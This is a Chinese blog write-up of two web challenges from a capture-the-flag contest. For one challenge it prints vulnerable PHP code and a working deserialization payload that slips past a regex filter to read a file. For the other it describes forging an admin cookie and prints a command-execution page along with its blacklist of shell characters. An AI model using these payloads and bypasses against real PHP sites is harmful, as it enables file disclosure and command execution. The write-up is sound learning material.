安恒12月赛Web题解

吐槽一下

这次的web题目感觉完全是新手题,思路很直接,我就不掺和了,做完web就逃23333,继续完成密码学课程实验报告去了。。。但还是记录一下。

easy

这个题目考的是一个php反序列化的一个绕过,上来就给了一段代码,很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 <?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>

关键是绕过这一句,本意是为了防止对象被反序列化,可以参考一下这篇文章:https://blog.spoock.com/2016/11/03/php-wakeup/

1
preg_match('/[oc]:\d+:/i',$data,$matches);

所以只需要只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。最后的payload:

1
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

url编码后发包就可以获得flag:flag{ad2328a2c3f0933c053fd3c6f28f6143}

FySZ1H.png

ezweb2

这个题目上来发现没什么线索,只能扫一下目录,发现了一个admin.php,但是进去却回显You are not admin...,这样思路就很明确了,我们需要伪造admin的身份,查一下cookie,果然需要伪造一下,把cookie的值从user->admin就好,还需base64一下

FySHvd.png

然后就可以进入一个命令执行的页面,输入ls发现有回显,但是很多东西都被过滤了

FySObt.png

Fyphss.png

可以尝试一下读文件,在config.php发现黑名单

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
die("You are not admin...");
}
if (@$_POST['cmd']) {
$cmd = waf_exec($_POST['cmd']);
$retval = array();
exec($cmd, $retval, $status);
// var_dump($retval);
if ($status == 0) {
$res = implode("\n",$retval);
}else{
$res = 'error';
}
}else{
$res = '';
}

include './templates/admin.html';

config.php

1
2
3
4
5
6
7
8
<?php
session_start();

function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}

关键是如何绕过这个黑名单去读到flag,这里已经把很多东西都过滤了,但是$以及/都没被过滤,可以很好地执行命令

FypvLR.png

成功读取flag:flag{6f1d95159e3b90ed28186c518dd15e8c}

Fypze1.png


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 吐槽一下
  2. 2. easy
  3. 3. ezweb2